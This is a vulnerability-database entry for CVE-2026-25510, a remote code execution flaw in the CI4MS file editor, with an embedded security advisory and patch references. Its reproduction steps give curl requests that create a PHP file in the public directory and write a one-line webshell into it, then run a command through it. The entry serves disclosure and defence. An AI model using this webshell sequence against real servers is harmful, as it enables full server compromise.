CVE-2026-25510
highpriority · track · 35EPSS 0.009 · 60 %ileEUUSEPSS · scored 2026-10-27
CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.28.5.0, an authenticated user with file editor permissions can achieve Remote Code Execution (RCE) by leveraging the file creation and save endpoints, an attacker can upload and execute arbitrary PHP code on the server. This issue has been patched in version 0.28.5.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.1–10
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-gp56-f67f-m4pxCI4MS Vulnerable to Remote Code Execution (RCE) via Arbitrary File Creation and Save in File Editor2026-02-02ghsa · osvUS
**Summary** A critical vulnerability has been identified in CI4MS that allows an authenticated user with file editor permissions to achieve Remote Code Execution (RCE). By leveraging the file creation and save endpoints, an attacker can upload and execute arbitrary PHP code on the server. **Vulnerability Details** The vulnerability exists in the /backend/fileeditor/createFile and /backend/fileeditor/save API endpoints. Unrestricted File Creation: The createFile endpoint allows users to create files with any extension (including .php) in web-accessible directories such as /public. Arbitrary Content Injection: The save endpoint allows users to write arbitrary content into the created files without sufficient server-side validation or sanitization. An attacker can combine these two flaws to create a PHP webshell and execute system-level commands, leading to a complete compromise of the web server. **Impact** Successful exploitation allows: Full access to the server's file system and databases. Execution of arbitrary OS commands. Permanent modification or deletion of application data. Steps to Reproduce Log in to an account with permissions to use the file editor. Create a new PHP file in a public directory using the following request: ``` curl -X POST '[SERVER_URL]/backend/fileeditor/createFile' -d 'path=/public' -d 'name=exploit.php' ``` Inject a PHP payload into the file using the save endpoint: ``` curl -X POST '[SERVER_URL]/backend/fileeditor/save' -H 'Content-Type: application/json' -d '{"path":"/public/exploit.php","content":"<?php echo shell_exec($_GET[\"cmd\"]); ?>"}' ``` Access the file via the browser to execute commands: https://[SERVER_URL]/exploit.php?cmd=whoami Suggested Mitigation Path Validation: Restrict file operations to non-executable directories. Extension Whitelisting: Strictly allow only safe file extensions (e.g., .css, .js, .txt) and block executable extensions like .php, .phtml, etc. Content Sanitization: Implement server-side checks to prevent the injection of malicious code patterns. Execution Prevention: Disable PHP execution in public/upload directories via server configuration (e.g., .htaccess or Nginx config).
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (7)
External citations — patches, advisories, analysis.
- https://github.com/ci4-cms-erp/ci4ms/commit/86be2930d1c54eb7575102563302b2f3bafcb653cnnvd
- https://github.com/ci4-cms-erp/ci4ms/releasesPatchcnnvd
- https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gp56-f67f-m4pxcnnvd
- https://github.com/ci4-cms-erp/ci4ms/commit/86be2930d1c54eb7575102563302b2f3bafcb653enisa_euvd
- https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gp56-f67f-m4pxenisa_euvd
- https://github.com/ci4-cms-erp/ci4ms/commit/86be2930d1c54eb7575102563302b2f3bafcb653Patchnvd
- https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gp56-f67f-m4pxExploitVendor Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan